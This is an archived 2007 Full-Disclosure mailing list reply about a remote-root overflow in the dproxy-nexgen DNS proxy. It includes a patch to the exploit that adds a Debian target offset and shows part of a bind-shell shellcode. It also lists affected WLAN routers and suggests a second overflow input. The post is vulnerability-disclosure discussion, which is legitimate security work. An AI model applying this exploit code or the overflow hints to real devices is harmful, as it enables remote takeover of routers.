full-disclosure - Re: dproxy-nexgen remote

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Message-ID: <20070331.616f8db6d99bc2599a4a2d06340420b1@cynops.de>
Date: Sat, 31 Mar 2007 11:29:54 +0200
From: Alexander Klink <a.klink@...ops.de>
To: mu-b <mu-b@...it-labs.org>, full-disclosure@...ts.grok.org.uk
Subject: Re: dproxy-nexgen remote

Hi mu-b & all,

On Sat, Mar 31, 2007 at 01:18:00AM +0100, mu-b wrote:
> attached is an exploit for the latest dproxy-nexgen, seems the
> latest version is just as bad as the previous dproxy-0.5...
Good work, definitely looks like it. Here is a small patch on what
I needed to change/add to make it work on my Debian stable test image:

--- dproxy-v1.c.orig    2007-03-31 11:12:39.000000000 +0200
+++ dproxy-v1.c 2007-03-31 11:10:41.000000000 +0200
@@ -41,7 +41,7 @@
   "\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
   "\x89\xe1\xcd\x80";
 
-#define NUM_TARGETS 1
+#define NUM_TARGETS 2
 
 struct target_t
 {
@@ -58,6 +58,9 @@
   {"dproxy-nexgen (tar.gz)",
    512, 25, bndshell_lnx, 284, 0x08048cf9}
   ,
+  {"dproxy-nexgen (tar.gz, Debian stable)",
+   512, 25, bndshell_lnx, 281, 0x08048cf8}
+  ,
   {0}
 };
 
With that patch it works just fine and is indeed the missing link to say
that dproxy is remote-root exploitable in all versions.
The case with dproxy-nexgen is much worse than with dproxy 0.1-0.5, though,
as it is used in a number of WLAN APs, at least the following:

- Linksys WRT54AG [0]
- Linksys WRT54G with the BatBox firmware replacement [0]
- Asus WL500g [1]
- Netgear DG834G [2]
- FRITZ!Box WLAN 7170 (and possibly others) [3]

> problem exists because of lack of NULL checking in dns_decode_reverse_name...
I was roughly expecting something like this, but did not have enough time
to look into it deeper. dns_decode_name looks vulnerable to me, too,
as name is 255 bytes and buf is a max of 512. So asking for the DNS
name 255xA.255x[overflow] should be another option. I guess we can
conclude that dproxy is quite broken (from what I read on the web,
not only security-wise) and should be replaced.

Best regards,
        Alex

[0]: http://dproxy.sf.net
[1]: http://wl500g.info/showthread.php/?p=7945
[2]: http://www.galliford.org/dg834g/
[3]: http://www.ip-phone-forum.de/showthread.php?t=78556&page=2 (german)

-- 
Dipl.-Math. Alexander Klink | IT-Security Engineer |    a.klink@...ops.de
 mobile: +49 (0)178 2121703 |          Cynops GmbH | http://www.cynops.de
----------------------------+----------------------+---------------------
      HRB 7833, Amtsgericht | USt-Id: DE 213094986 |     Geschäftsführer:
     Bad Homburg v. d. Höhe |                      |      Martin Bartosch

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/